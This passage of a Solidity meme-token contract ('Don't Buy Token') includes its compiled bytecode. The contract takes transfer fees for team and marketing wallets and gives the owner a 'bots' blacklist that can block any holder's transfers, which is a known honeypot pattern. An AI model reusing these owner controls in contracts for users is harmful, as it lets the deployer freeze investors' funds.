from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600f81526020017f446f6e27742042757920546f6b656e0000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017fe29b94446f6e74427579e29b9400000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601442611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f7